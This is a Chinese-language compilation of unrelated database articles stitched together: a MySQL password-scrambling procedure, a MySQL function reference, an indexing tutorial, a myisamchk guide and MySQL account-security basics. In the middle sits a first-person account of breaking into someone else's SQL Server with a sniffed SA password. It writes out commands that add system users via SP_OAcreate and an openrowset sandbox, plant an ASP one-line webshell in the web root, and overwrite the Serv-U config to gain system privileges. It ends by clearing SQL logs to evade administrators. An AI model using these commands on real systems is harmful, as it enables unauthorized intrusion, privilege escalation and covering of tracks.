/* insert into testtb values(2,outpass);*/
set string_out=CONCAT(string_out,string_out);
set @i=0;
REPEAT
set @i=@i+1;
set outpass=CONCAT(outpass,SUBSTR(string_out,INSTR(string_in,SUBSTRING(inpass,@i,1))+offset,1));
/* insert into testtb values(@i+2,outpass);*/
UNTIL (@i>=len)
end REPEAT;
return outpass;
END
(2)过程
CREATE PROCEDURE `pro_addmm`(IN inpass varchar(10),OUT outpass varchar(11))
BEGIN
declare string_in varchar(39);
declare string_out varchar(78);
declare offset tinyint(2);
declare len tinyint;
set outpass=';
set len=LENGTH(inpass);
if((len<=0) or (len>10)) then
set outpass=';
else
set offset=(SECOND(NOW()) mod 39)+1;
set string_out='YN8K1JOZVURB3MDETS5GPL27AXWIHQ94C6F0#$_';
set string_in='_$#ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
set outpass=CONCAT(outpass,SUBSTRING(string_out,offset,1));
set string_out=CONCAT(string_out,string_out);
set @i=0;
REPEAT
set @i=@i+1;
set outpass=CONCAT(outpass,SUBSTR(string_out,INSTR(string_in,SUBSTRING(inpass,@i,1))+offset,1));
UNTIL (@i>=len)
end REPEAT;
end if;
END
//
执行结果如下:
mysql> call pro_addmm('zhouys',@a);
Query OK, 0 rows affected (0.00 sec)
mysql> SELECT @a;
+---------+
| @a |
+---------+
| U_PI6$4 |
+---------+
1 row in set (0.00 sec)
mysql> call pro_addmm('zhouys',@a);
Query OK, 0 rows affected (0.00 sec)
mysql> SELECT @a;
+---------+
| @a |
+---------+
| 9P8UEGM |
+---------+
1 row in set (0.00 sec)
mysql> select fun_submm('U_PI6$4');
+----------------------+
| fun_submm('U_PI6$4') |
+----------------------+
| ZHOUYS |
+----------------------+
1 row in set (0.00 sec)
加密算法有几个弱点:
1、不支持大小写
2、不支持中文
3、加密强度不够
有兴趣的人可以研究一下解密函数如何编写,这里就不赘述了。
前几天在搞一个站的时候嗅到了一个SA密码 但是用sql tool连上之后发现怎么也不能执行DOS命令
郁闷了 今天突然想到可以用存储过程来搞定这个
服务器~
首先在本地用sql server的查询分析器连上他 权限当然是SA啦
但是在执行exec master.dbo.xp_cmdshell'net user'的时候却提示跟sql tool一样的错误 看来xp_cmdshell确
实不能用
错误消息
50001,级别 1,状态 50001
xpsql.cpp: 错误 5 来自 CreateProcess(第 737 行)
可能是某个相关的DLL文件被删除了
如图1
看来xp_cmdshell是不能用鸟~ 不过偶们还有SP_OAcreate可以用 用SP_OAcreate一样可以执行系统命令
在查询分析器里执行
DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD
@shell,'run',null, 'C:\WINdows\system32\cmd.exe /c net user gydyhook hook /add'
这段代码就是利用SP_OAcreate来添加一个gydyhook的系统用户 然后直接提升为管理员权限就OK了
提示命令完成成功 说明SP_OAcreate并没有被删除 我们用终端连一下
如图2
图3
居然提示密码错误?难道是wscript.shell被删了?其实这里的判断只是经验而你 你要问我怎么判断服务器是
做了密码策略还是wscript.shell被删 我只能告诉你这是经验而已
虽然wscript.shell被删了 但是我们还是有FSO嘛。 先试着列下目录 找到WEB目录搞个SHELL再说
使用exec master.dbo.xp_subdirs 'c:\'来查看C盘的目录 发现完全可以列目录
列目录没问题了 然后偶查看D盘的时候发现有D:\web这个目录 随便找一个网站在IE里打看发现存在这个网站
然后列出来几个目录发现这个网站还有ewebeditor 不过偶们今天不用他 因为有SA嘛 也不用去备份了 直接写
个一句话进去
语句如下
exec master.dbo.xp_subdirs 'd:\web\www.xx.com';
exec sp_makewebtask 'd:\web\www.XXXX.com\XX.asp','select''<%execute(request("SB"))%>'' '
提示命令执行成功偶们看看效果
如图4
如图5
看来小马写进去鸟~ 一点没问题 剩下的就是写入大马啦 然后提权之~ 哈哈 但是意想不到的事情又发生了
NND竟然不让我传大马 我日 提示ADODB.Stream 错误 '800a0bbc' 写入文件失败。 然后换了N个目录都写不进
去
然后我又列出来其他的目录写小马进去 但是都传不了大马 看来管理员把整个WEB目录都设置成了只读
如图6
NND我都有SA了还不信搞不定这个服务器 差点忘记了还可以用沙盘 嘿嘿 看来一着急脑子就乱
查询分析器里执行select * from openrowset('microsoft.jet.oledb.4.0','
;database=c:\windows\system32\ias\ias.mdb',
'select shell("cmd.exe /c net user admin admin1234 /add")')来利用沙盘来添加个管理员 但是事实告诉
我 我的RP并不好
如图7
既然沙盘也不行 那就另寻出路吧
刚才列目录的时候好象看见了Serv-U6.3 但是使用exec master.dbo.xp_subdirs 'd:\Serv-U6.3'的时候发现看
不到文件夹里的内容 不过没关系~ 偶们不是有一句话么。虽然没有写的权限 但是读的权限总改有吧 直接在
一句话里查看目录就OK了 虽然能看目录 但是用ASP馬,也不能讀出SERV——U配置文件来 看来还得用存储过程
如图8
既然找到了SU的目录那偶就想能不能利用一句话写配置信息到ServUDaemon.ini里 然后利用SU来提权 但是事实
证明这个破站权限太牛X了 只能看不能写 不过没关系 偶们还可以利用存储过程
嘿嘿 使用declare @o int, @f int, @t int, @ret int
declare @line varchar(8000)
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'opentextfile', @f out, 'd:\Serv-U6.3\ServUDaemon.ini', 1
exec @ret = sp_oamethod @f, 'readline', @line out
while( @ret = 0 )
begin
print @line
exec @ret = sp_oamethod @f, 'readline', @line out
end
这段代码就可以把ServUDaemon.ini里的配置信息全部显示出来 嘿嘿 既然能看了那偶门不是一样可以写进去?
直接写一个系统权限的
FTP帐号 进去
使用declare @o int, @f int, @t int, @ret int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'createtextfile', @f out, 'd:\Serv-U6.3\ServUDaemon.ini', 1
exec @ret = sp_oamethod @f, 'writeline', NULL, 《这里添写自己写好的SU配置信息 刚才复制的那些都要
写上去》
然后执行一下 成功执行 我们再用存储过程看看写进去没有
如图9
OK 我XXXXXX 成功写进去了一个用户名为XXXX密码为空的系统权限的
FTP 然后偶们在
FTP里执行
quote siteXXXXXXX 提权就好了。 这里已经很熟悉了 就不写了。~ 然后用3389连一下 成功地到服务器权限
然后偶们再用set nocount on
declare @logicalfilename sysname,
@maxminutes int,
@newsize int 来清理掉SQL日志 免的被管理员发现
整个的提权过程大部分都是用存储过程来完成的。其实这些东西在以前提权的时候都没有想到。
感觉这个思路很不错 所以写出来 各位大牛见笑了
一.字符串类
CHARSET(str) //返回字串字符集
CONCAT (string2 [,... ]) //连接字串
INSTR (string ,substring ) //返回substring首次在string中出现的位置,不存在返回0
LCASE (string2 ) //转换成小写
LEFT (string2 ,length ) //从string2中的左边起取length个字符
LENGTH (string ) //string长度
LOAD_FILE (file_name ) //从文件读取内容
LOCATE (substring , string [,start_position ] ) 同INSTR,但可指定开始位置
LPAD (string2 ,length ,pad ) //重复用pad加在string开头,直到字串长度为length
LTRIM (string2 ) //去除前端空格
REPEAT (string2 ,count ) //重复count次
REPLACE (str ,search_str ,replace_str ) //在str中用replace_str替换search_str
RPAD (string2 ,length ,pad) //在str后用pad补充,直到长度为length
RTRIM (string2 ) //去除后端空格
STRCMP (string1 ,string2 ) //逐字符比较两字串大小,
SUBSTRING (str , position [,length ]) //从str的position开始,取length个字符,
注:mysql中处理字符串时,默认第一个字符下标为1,即参数position必须大于等于1
mysql> select substring('abcd',0,2);
+-----------------------+
| substring('abcd',0,2) |
+-----------------------+
| |
+-----------------------+
1 row in set (0.00 sec)
mysql> select substring('abcd',1,2);
+-----------------------+
| substring('abcd',1,2) |
+-----------------------+
| ab |
+-----------------------+
1 row in set (0.02 sec)
TRIM([[BOTH|LEADING|TRAILING] [padding] FROM]string2) //去除指定位置的指定字符
UCASE (string2 ) //转换成大写
RIGHT(string2,length) //取string2最后length个字符
SPACE(count) //生成count个空格
二
.数学类
ABS (number2 ) //绝对值
BIN (decimal_number ) //十进制转二进制
CEILING (number2 ) //向上取整
CONV(number2,from_base,to_base) //进制转换
FLOOR (number2 ) //向下取整
FORMAT (number,decimal_places ) //保留小数位数
HEX (DecimalNumber ) //转十六进制
注:HEX()中可传入字符串,则返回其ASC-11码,如HEX('DEF')返回4142143
也可以传入十进制整数,返回其十六进制编码,如HEX(25)返回19
LEAST (number , number2 [,..]) //求最小值
MOD (numerator ,denominator ) //求余
POWER (number ,power ) //求指数
RAND([seed]) //随机数
ROUND (number [,decimals ]) //四舍五入,decimals为小数位数]
注
:返回类型并非均为整数,如
:
(1)默认变为整形值
mysql> select round(1.23);
+-------------+
| round(1.23) |
+-------------+
| 1 |
+-------------+
1 row in set (0.00 sec)
mysql> select round(1.56);
+-------------+
| round(1.56) |
+-------------+
| 2 |
+-------------+
1 row in set (0.00 sec)
(2)可以设定小数位数
,返回浮点型数据
mysql> select round(1.567,2);
+----------------+
| round(1.567,2) |
+----------------+
| 1.57 |
+----------------+
1 row in set (0.00 sec)
SIGN (number2 ) //返回符号,正负或0
SQRT(number2) //开平方
三
.日期时间类
ADDTIME (date2 ,time_interval ) //将time_interval加到date2
CONVERT_TZ (datetime2 ,fromTZ ,toTZ ) //转换时区
CURRENT_DATE ( ) //当前日期
CURRENT_TIME ( ) //当前时间
CURRENT_TIMESTAMP ( ) //当前时间戳
DATE (datetime ) //返回datetime的日期部分
DATE_ADD (date2 , INTERVAL d_value d_type ) //在date2中加上日期或时间
DATE_FORMAT (datetime ,FormatCodes ) //使用formatcodes格式显示datetime
DATE_SUB (date2 , INTERVAL d_value d_type ) //在date2上减去一个时间
DATEDIFF (date1 ,date2 ) //两个日期差
DAY (date ) //返回日期的天
DAYNAME (date ) //英文星期
DAYOFWEEK (date ) //星期(1-7) ,1为星期天
DAYOFYEAR (date ) //一年中的第几天
EXTRACT (interval_name FROM date ) //从date中提取日期的指定部分
MAKEDATE (year ,day ) //给出年及年中的第几天,生成日期串
MAKETIME (hour ,minute ,second ) //生成时间串
MONTHNAME (date ) //英文月份名
NOW ( ) //当前时间
SEC_TO_TIME (seconds ) //秒数转成时间
STR_TO_DATE (string ,format ) //字串转成时间,以format格式显示
TIMEDIFF (datetime1 ,datetime2 ) //两个时间差
TIME_TO_SEC (time ) //时间转秒数]
WEEK (date_time [,start_of_week ]) //第几周
YEAR (datetime ) //年份
DAYOFMONTH(datetime) //月的第几天
HOUR(datetime) //小时
LAST_DAY(date) //date的月的最后日期
MICROSECOND(datetime) //微秒
MONTH(datetime) //月
MINUTE(datetime) //分
附:可用在INTERVAL中的类型
DAY ,DAY_HOUR ,DAY_MINUTE ,DAY_SECOND ,HOUR ,HOUR_MINUTE ,HOUR_SECOND ,MINUTE ,MINUTE_SECOND,MONTH ,SECOND ,YEAR
就象许多的PHP开发者一样,在刚开始建立动态网站的时候,我都是使用相对简单的数据结构。PHP在连接数据库方面的确实是十分方便(译者注:有些人认为
PHP在连接不同数据库时没有一个统一的接口,不太方便,其实这可以通过一些扩展库来做到这一点),你无需看大量的设计文档就可以建立和使用数据库,这也
是PHP获得成功的主要原因之一。
前些时候,一位颇高级的程序员居然问我什么叫做索引,令我感到十分的惊奇,我想这绝不会是沧海一
粟,因为有成千上万的开发者(可能大部分是使用MySQL的)都没有受过有关数据库的正规培训,尽管他们都为客户做过一些开发,但却对如何为数据库建立适
当的索引所知较少,因此我起了写一篇相关文章的念头。
最普通的情况,是为出现在where子句的字段建一个索引。为方便讲述,我们先建立一个如下的表。
Code代码如下:CREATE TABLE mytable (
id serial primary key,
category_id int not null default 0,
user_id int not null default 0,
adddate int not null default 0
);
很简单吧,不过对于要说明这个问题,已经足够了。如果你在查询时常用类似以下的语句:
SELECT * FROM mytable WHERE category_id=1;
最直接的应对之道,是为category_id建立一个简单的索引:
CREATE INDEX mytable_categoryid
ON mytable (category_id);
OK,搞定?先别高兴,如果你有不止一个选择条件呢?例如:
SELECT * FROM mytable WHERE category_id=1 AND user_id=2;
你的第一反应可能是,再给user_id建立一个索引。不好,这不是一个最佳的方法。你可以建立多重的索引。
CREATE INDEX mytable_categoryid_userid ON mytable (category_id,user_id);
注意到我在命名时的习惯了吗?我使用"表名_字段1名_字段2名"的方式。你很快就会知道我为什么这样做了。
现在你已经为适当的字段建立了索引,不过,还是有点不放心吧,你可能会问,数据库会真正用到这些索引吗?测试一下就OK,对于大多数的数据库来说,这是很容易的,只要使用EXPLAIN命令:
EXPLAIN
SELECT * FROM mytable
WHERE category_id=1 AND user_id=2;
This is what Postgres 7.1 returns (exactly as I expected)
NOTICE: QUERY PLAN:
Index Scan using mytable_categoryid_userid on
mytable (cost=0.00..2.02 rows=1 width=16)
EXPLAIN
以上是postgres的数据,可以看到该数据库在查询的时候使用了一个索引(一个好开始),而且它使用的是我创建的第二个索引。看到我上面命名的好处了吧,你马上知道它使用适当的索引了。
接着,来个稍微复杂一点的,如果有个ORDER BY字句呢?不管你信不信,大多数的数据库在使用order by的时候,都将会从索引中受益。
SELECT * FROM mytable
WHERE category_id=1 AND user_id=2
ORDER BY adddate DESC;
有点迷惑了吧?很简单,就象为where字句中的字段建立一个索引一样,也为ORDER BY的字句中的字段建立一个索引:
CREATE INDEX mytable_categoryid_userid_adddate
ON mytable (category_id,user_id,adddate);
注意: "mytable_categoryid_userid_adddate" 将会被截短为
"mytable_categoryid_userid_addda"
CREATE
EXPLAIN SELECT * FROM mytable
WHERE category_id=1 AND user_id=2
ORDER BY adddate DESC;
NOTICE: QUERY PLAN:
Sort (cost=2.03..2.03 rows=1 width=16)
-> Index Scan using mytable_categoryid_userid_addda
on mytable (cost=0.00..2.02 rows=1 width=16)
EXPLAIN
看看EXPLAIN的输出,好象有点恐怖啊,数据库多做了一个我们没有要求的排序,这下知道性能如何受损了吧,看来我们对于数据库的自身运作是有点过于乐观了,那么,给数据库多一点提示吧。
为了跳过排序这一步,我们并不需要其它另外的索引,只要将查询语句稍微改一下。这里用的是postgres,我们将给该数据库一个额外的提示--在
ORDER BY语句中,加入where语句中的字段。这只是一个技术上的处理,并不是必须的,因为实际上在另外两个字段上,并不会有任何的排序操作,不
过如果加入,postgres将会知道哪些是它应该做的。
EXPLAIN SELECT * FROM mytable
WHERE category_id=1 AND user_id=2
ORDER BY category_id DESC,user_id DESC,adddate DESC;
NOTICE: QUERY PLAN:
Index Scan Backward using
mytable_categoryid_userid_addda on mytable
(cost=0.00..2.02 rows=1 width=16)
EXPLAIN
现在使用我们料想的索引了,而且它还挺聪明,知道可以从索引后面开始读,从而避免了任何的排序。
以上说得细了一点,不过如果你的数据库非常巨大,并且每日的页面请求达上百万算,我想你会获益良多的。不过,如果你要做更为复杂的查询呢,例如将多张表结
合起来查询,特别是where限制字句中的字段是来自不止一个表格时,应该怎样处理呢?我通常都尽量避免这种做法,因为这样数据库要将各个表中的东西都结
合起来,然后再排除那些不合适的行,搞不好开销会很大。
如果不能避免,你应该查看每张要结合起来的表,并且使用以上的策略来建立索引,然后再用EXPLAIN命令验证一下是否使用了你料想中的索引。如果是的话,就OK。不是的话,你可能要建立临时的表来将他们结合在一起,并且使用适当的索引。
要注意的是,建立太多的索引将会影响更新和插入的速度,因为它需要同样更新每个索引文件。对于一个经常需要更新和插入的表格,就没有必要为一个很少使用的where字句单独建立索引了,对于比较小的表,排序的开销不会很大,也没有必要建立另外的索引。
以上介绍的只是一些十分基本的东西,其实里面的学问也不少,单凭EXPLAIN我们是不能判定该方法是否就是最优化的,每个数据库都有自己的一些优化器,
虽然可能还不太完善,但是它们都会在查询时对比过哪种方式较快,在某些情况下,建立索引的话也未必会快,例如索引放在一个不连续的存储空间时,这会增加读
磁盘的负担,因此,哪个是最优,应该通过实际的使用环境来检验。
在刚开始的时候,如果表不大,没有必要作索引,我的意见是在需要的时候才作索引,也可用一些命令来优化表,例如MySQL可用"OPTIMIZE TABLE"。
综上所述,在如何为数据库建立恰当的索引方面,你应该有一些基本的概念了。
Myisamchk是MyISAM表维护的一个非常实用的工具。可以使用myisamchk实用程序来获得有关数据库表的信息或检查、修复、优化他们。myisamchk适用MyISAM表(对应.MYI和.MYD文件的表)。
1.myisamchk的调用方法
myisamchk [options] tbl_name ...
其中options指定你想让myisamchk干什么。
它允许你通过使用模式“*.MYI”指定在一个目录所有的表。
shell> myisamchk *.MYI
推荐的快速检查所有MyISAM表的方式是:
shell> myisamchk --silent --fast /path/to/datadir/*/*.MYI
当你运行myisamchk时,必须确保其它程序不使用表。
当你运行myisamchk时内存分配重要.MYIsamchk使用的内存大小不能超过用-O选项指定的。对于大多数情况,使用-O sort=16M应该足够了。
另外在修复时myisamchk需要大量硬盘空间,基本上是所涉及表空间的双倍大小。
2.myisamchk的一般选项
--debug=debug_options, -# debug_options
输出调试记录文件。debug_options字符串经常是'd:t:o,filename'。
--silent,-s
沉默模式。仅当发生错误时写输出。
--wait, -w
如果表被锁定,不是提示错误终止,而是在继续前等待到表被解锁。
如果不使用--skip-external-locking,可以随时使用myisamchk来检查表。当检查表时,所有尝试更新表的客户端将等待,直到myisamchk准备好可以继续。
请注意如果用--skip-external-locking选项运行mysqld,只能用另一个myisamchk命令锁定表。
--var_name=value
可以通过--var_name=value选项设置下面的变量:
decode_bits 9
ft_max_word_len 取决于版本
ft_min_word_len 4
ft_stopword_file 内建列表
key_buffer_size 523264
myisam_block_size 1024
read_buffer_size 262136
sort_buffer_size 2097144
sort_key_blocks 16
stats_method nulls_unequal
write_buffer_size 262136
如果想要快速修复,将key_buffer_size和sort_buffer_size变量设置到大约可用内存的25%。
可以将两个变量设置为较大的值,因为一个时间只使用一个变量。
myisam_block_size是用于索引块的内存大小。
stats_method影响当给定--analyze选项时,如何为索引统计搜集处理NULL值。
3.myisamchk的检查选项
--check, -c
检查表的错误。如果你不明确指定操作类型选项,这就是默认操作。
--check-only-changed, -C
只检查上次检查后有变更的表。
--extend-check, -e
非常仔细地检查表。如果表有许多索引将会相当慢。
--fast,-F
只检查没有正确关闭的表。
--force, -f
如果myisamchk发现表内有任何错误,则自动进行修复。
--information, -i
打印所检查表的统计信息。
--medium-check, -m
比--extend-check更快速地进行检查。只能发现99.99%的错误
--update-state, -U
将信息保存在.MYI文件中,来表示表检查的时间以及是否表崩溃了。该选项用来充分利用--check-only-changed选项,
但如果mysqld服务器正使用表并且正用--skip-external-locking选项运行时不应使用该选项。
--read-only, -T
不要将表标记为已经检查。如果你使用myisamchk来检查正被其它应用程序使用而没有锁定的表很有用
4.myisamchk的修复选项
--backup, -B
将.MYD文件备份为file_name-time.BAK
--character-sets-dir=path
字符集安装目录。
--correct-checksum
纠正表的校验和信息。
--data-file-length=len, -D len
数据文件的最大长度
--extend-check,-e
进行修复,试图从数据文件恢复每一行。一般情况会发现大量的垃圾行。不要使用该选项,除非你不顾后果。
--force, -f
覆盖旧的中间文件(文件名类似tbl_name.TMD),而不是中断
--keys-used=val, -k val
对于myisamchk,该选项值为位值,说明要更新的索引。选项值的每一个二进制位对应表的一个索引,其中第一个索引对应位0。
选项值0禁用对所有索引的更新,可以保证快速插入。通过myisamchk -r可以重新激活被禁用的索引。
--parallel-recover, -p
与-r和-n的用法相同,但使用不同的线程并行创建所有键。
--quick,-q
不修改数据文件,快速进行修复。
--recover, -r
可以修复几乎所有一切问题,除非唯一的键不唯一时(对于MyISAM表,这是非常不可能的情况)。如果你想要恢复表,
这是首先要尝试的选项。如果myisamchk报告表不能用-r恢复,则只能尝试-o。
在不太可能的情况下-r失败,数据文件保持完好)。
--safe-recover, -o
使用一个老的恢复方法读取,按顺序读取所有行,并根据找到的行更新所有索引树。这比-r慢些,
但是能处理-r不能处理的情况。该恢复方法使用的硬盘空间比-r少。一般情况,你应首先用-r维修,如果-r失败则用-o。
--sort-recover, -n
强制myisamchk通过排序来解析键值,即使临时文件将可能很大。
5.myisamchk的其他选项
myisamchk支持以下表检查和修复之外的其它操作的选项:
--analyze,-a
分析键值的分布。这通过让联结优化器更好地选择表应该以什么次序联结和应该使用哪个键来改进联结性能。
要想获取分布相关信息,使用myisamchk --description --verbose tbl_name命令或SHOW KEYS FROM tbl_name语句。
--sort-index, -S
以从高到低的顺序排序索引树块。这将优化搜寻并且将使按键值的表扫描更快。
--set-auto-increment[=value], -A[value]
强制从给定值开始的新记录使用AUTO_INCREMENT编号(或如果已经有AUTO_INCREMENT值大小的记录,应使用更高值)。
如果未指定value,新记录的AUTO_INCREMENT编号应使用当前表的最大值加上1。
--description, -d
打印出关于表的描述性信息。
例如:
[root@qa-sandbox-1 mysql]# myisamchk -d user.MYI
MyISAM file: user.MYI
Record format: Packed
Character set: latin1_swedish_ci (8)
Data records: 6 Deleted blocks: 1
Recordlength: 346
table description:
Key Start Len Index Type
1 1 180 unique char packed stripped
181 48 char stripped
6.如何修复表
检查你的表
如果你有很多时间,运行myisamchk *.MYI或myisamchk -e *.MYI。使用-s(沉默)选项禁止不必要的信息。
如果mysqld服务器处于宕机状态,应使用--update-state选项来告诉myisamchk将表标记为'检查过的'。
简单安全的修复
首先,试试myisamchk -r -q tbl_name(-r -q意味着“快速恢复模式”)
如果在修复时,你得到奇怪的错误(例如out of memory错误),或如果myisamchk崩溃,到阶段3。
困难的修复
只有在索引文件的第一个16K块被破坏,或包含不正确的信息,或如果索引文件丢失,你才应该到这个阶段。在这种情况下,需要创建一个新的索引文件。按如下步骤操做:
1. 把数据文件移到安全的地方。
2. 使用表描述文件创建新的(空)数据文件和索引文件:
3. shell> mysql db_name
4. mysql> SET AUTOCOMMIT=1;
5. mysql> TRUNCATE TABLE tbl_name;
6. mysql> quit
如果你的MySQL版本没有TRUNCATE TABLE,则使用DELETE FROM tbl_name。
7. 将老的数据文件拷贝到新创建的数据文件之中。(不要只是将老文件移回新文件之中;你要保留一个副本以防某些东西出错。)
回到阶段2。现在myisamchk -r -q应该工作了。(这不应该是一个无限循环)。
你还可以使用REPAIR TABLE tbl_name USE_FRM,将自动执行整个程序。
非常困难的修复
只有.frm描述文件也破坏了,你才应该到达这个阶段。这应该从未发生过,因为在表被创建以后,描述文件就不再改变了。
1. 从一个备份恢复描述文件然后回到阶段3。你也可以恢复索引文件然后回到阶段2。对后者,你应该用myisamchk -r启动。
2.
如果你没有进行备份但是确切地知道表是怎样创建的,在另一个数据库中创建表的一个拷贝。删除新的数据文件,然后从其他数据库将描述文件和索引文件移到破坏
的数据库中。这样提供了新的描述和索引文件,但是让.MYD数据文件独自留下来了。回到阶段2并且尝试重建索引文件。
7.清理碎片
对Innodb 表则可以通过执行以下语句来整理碎片,提高索引速度:
ALTER TABLE tbl_name ENGINE = Innodb;
这其实是一个 NULL 操作,表面上看什么也不做,实际上重新整理碎片了。
对myisam表格,为了组合碎片记录并且消除由于删除或更新记录而浪费的空间,以恢复模式运行myisamchk:
shell> myisamchk -r tbl_name
你可以用SQL的OPTIMIZE TABLE语句使用的相同方式来优化表,OPTIMIZE TABLE可以修复表并对键值进行分析,并且可以对索引树进行排序以便更快地查找键值。
8.建立表检查计划
运行一个crontab,每天定期检查所有的myisam表格。
35 0 * * 0 /path/to/myisamchk --fast --silent /path/to/datadir/*/*.MYI
9.获取表的信息
myisamchk -d tbl_name:以“描述模式”运行myisamchk,生成表的描述
myisamchk -d -v tbl_name: 为了生成更多关于myisamchk正在做什么的信息,加上-v告诉它以冗长模式运行。
myisamchk -eis tbl_name:仅显示表的最重要的信息。因为必须读取整个表,该操作很慢。
myisamchk -eiv tbl_name:这类似 -eis,只是告诉你正在做什么。
10.Myisamchk产生的信息解释
MyISAM file
ISAM(索引)文件名。
File-version
ISAM格式的版本。当前总是2。
Creation time
数据文件创建的时间。
Recover time
索引/数据文件上次被重建的时间。
Data records
在表中有多少记录。
Deleted blocks
有多少删除的块仍然保留着空间。你可以优化表以使这个空间减到最小。参见第7章:优化。
Datafile parts
对动态记录格式,这指出有多少数据块。对于一个没有碎片的优化过的表,这与Data records相同。
Deleted data
不能回收的删除数据有多少字节。你可以优化表以使这个空间减到最小。参见第7章:优化。
Datafile pointer
数据文件指针的大小,以字节计。它通常是2、3、4或5个字节。大多数表用2个字节管理,但是目前这还不能从MySQL控制。
对固定表,这是一个记录地址。对动态表,这是一个字节地址。
Keyfile pointer
索引文件指针的大小,以字节计。它通常是1、2或3个字节。大多数表用 2 个字节管理,但是它自动由MySQL计算。
它总是一个块地址。
Max datafile length
表的数据文件(.MYD文件)能够有多长,以字节计。
Max keyfile length
表的键值文件(.MYI文件)能够有多长,以字节计。
Recordlength
每个记录占多少空间,以字节计。
Record format
用于存储表行的格式。上面的例子使用Fixed length。其他可能的值是Compressed和Packed。
table description
在表中所有键值的列表。对每个键,给出一些底层的信息:
Key
该键的编号。
Start
该索引部分从记录的哪里开始。
Len
该索引部分是多长。对于紧凑的数字,这应该总是列的全长。对字符串,它可以比索引的列的全长短些,
因为你可能会索引到字符串列的前缀。
Index
unique或multip(multiple)。表明一个值是否能在该索引中存在多次。
Type
该索引部分有什么数据类型。这是一个packed、stripped或empty选项的ISAM数据类型。
Root
根索引块的地址。
Blocksize
每个索引块的大小。默认是1024,但是从源码构建MySQL时,该值可以在编译时改变。
Rec/key
这是由优化器使用的统计值。它告诉对该键的每个值有多少条记录。唯一键总是有一个1值。
在一个表被装载后(或变更很大),可以用myisamchk -a更新。如果根本没被更新,给定一个30的默认值。
在上面例子的表中,第9个键有两个table description行。这说明它是有2个部分的多部键。
Keyblocks used
键块使用的百分比是什么。当在例子中使用的表刚刚用myisamchk重新组织时,该值非常高(很接近理论上的最大值)。
Packed
MySQL试图用一个通用后缀压缩键。这只能被用于CHAR/VARCHAR/DECIMAL列的键。对于左部分类似的长字符串,
能显著地减少使用空间。在上面的第3个例子中,第4个键是10个字符长,可以减少60%的空间。
Max levels
对于该键的B树有多深。有长键的大表有较高的值。
Records
表中有多少行。
M.recordlength
平均记录长度。对于有定长记录的表,这是准确的记录长度,因为所有记录的长度相同。
Packed
MySQL从字符串的结尾去掉空格。Packed值表明这样做达到的节约的百分比。
Recordspace used
数据文件被使用的百分比。
Empty space
数据文件未被使用的百分比。
Blocks/Record
每个记录的平均块数(即,一个碎片记录由多少个连接组成)。对固定格式表,这总是1。该值应该尽可能保持接近1.0。
如果它变得太大,你可以重新组织表。参见第7章:优化。
Recordblocks
多少块(链接)被使用。对固定格式,它与记录的个数相同。
Deleteblocks
多少块(链接)被删除。
Recorddata
在数据文件中使用了多少字节。
Deleted data
在数据文件中多少字节被删除(未使用)。
Lost space
如果一个记录被更新为更短的长度,就损失了一些空间。这是所有这样的损失之和,以字节计。
Linkdata
当使用动态表格式,记录碎片用指针连接(每个4 ~ 7字节)。 Linkdata指这样的指针使用的内存量之和。
MySql数据库是中小型网站后台数据库的首选,因为它对非商业应用是免费的.网站开发者可以搭建一个"Linux+Apache+PHP+MySql"
平台,这是一个最省钱的高效平台.在使用MySql进行开发时,MySql自带的文档对于新手来说是份很好的参考资料.本文是我在使用MySql中的小小
心得。
当前一般用户的开发环境多是Windows或Linux,用户可以到
http://www.mysql.com下
载相关版本进行安装,在 windows中MySql以服务形式存在,在使用前应确保此服务已经启动,未启动可用net start
mysql命令启动。而Linux中启动时可用“/etc/rc.d/init.d/mysqld start"命令,注意启动者应具有管理员权限。
刚安装好的MySql包含一个含空密码的root帐户和一个匿名帐户,这是很大的安全隐患,对于一些重要的应用我们应将安全性尽可能提高,在这里应把匿名帐户删除、 root帐户设置密码,可用如下命令进行:
use mysql;
delete from User where User="";
update User set Password=PASSWORD('newpassword') where User='root';
如果要对用户所用的登录终端进行限制,可以更新User表中相应用户的Host字段,在进行了以上更改后应重新启动数据库服务,此时登录时可用如下类似命令:
mysql -uroot -p;
mysql -uroot -pnewpassword;
mysql mydb -uroot -p;
mysql mydb -uroot -pnewpassword;
上面命令参数是常用参数的一部分,详细情况可参考文档。此处的mydb是要登录的数据库的名称。
在
进行开发和实际应用中,用户不应该只用root用户进行连接数据库,虽然使用root用户进行测试时很方便,但会给系统带来重大安全隐患,也不利于管理技
术的提高。我们给一个应用中使用的用户赋予最恰当的数据库权限。如一个只进行数据插入的用户不应赋予其删除数据的权限。MySql的用户管理是通过
User表来实现的,添加新用户常用的方法有两个,一是在User表插入相应的数据行,同时设置相应的权限;二是通过GRANT命令创建具有某种权限的用
户。其中GRANT的常用用法如下:
grant all on mydb.* to NewUserName@HostName identified by "password" ;
grant usage on *.* to NewUserName@HostName identified by "password";
grant select,insert,update on mydb.* to NewUserName@HostName identified by "password";
grant update,delete on mydb.TestTable to NewUserName@HostName identified by "password";
若
要给此用户赋予他在相应对象上的权限的管理能力,可在GRANT后面添加WITH GRANT
OPTION选项。而对于用插入User表添加的用户,Password字段应用PASSWORD
函数进行更新加密,以防不轨之人窃看密码。对于那些已经不用的用户应给予清除,权限过界的用户应及时回收权限,回收权限可以通过更新User表相应字段,
也可以使用REVOKE操作。
下面给出本人从其它资料(
www.cn-java.com)获得的对常用权限的解释:
全局管理权限:
FILE: 在MySQL服务器上读写文件。
PROCESS: 显示或杀死属于其它用户的服务线程。
RELOAD: 重载访问控制表,刷新日志等。
SHUTDOWN: 关闭MySQL服务。
数据库/数据表/数据列权限:
ALTER: 修改已存在的数据表(例如增加/删除列)和索引。
CREATE: 建立新的数据库或数据表。
DELETE: 删除表的记录。
DROP: 删除数据表或数据库。
INDEX: 建立或删除索引。
INSERT: 增加表的记录。
SELECT: 显示/搜索表的记录。
UPDATE: 修改表中已存在的记录。
特别的权限:
ALL: 允许做任何事(和root一样)。
USAGE: 只允许登录--其它什么也不允许做。
最后给出本人在RedHat9.0下的MySql操作演示:
选用数据库的root用户登录
[weiwen@weiwenlinux]$mysql -uroot -p
Enter password:MyPassword
mysql>create database mydb;
Query OK, 1 row affected (0.02 sec)
mysql>use mydb;
Database changed
mysql>create table TestTable(Id int aut_increment primary key,
UserName varchar(16) not null,
Address varchar(255));
Query OK, 0 rows affected (0.02 sec)
mysql>grant all on mydb.* to test@localhost identified by "test";
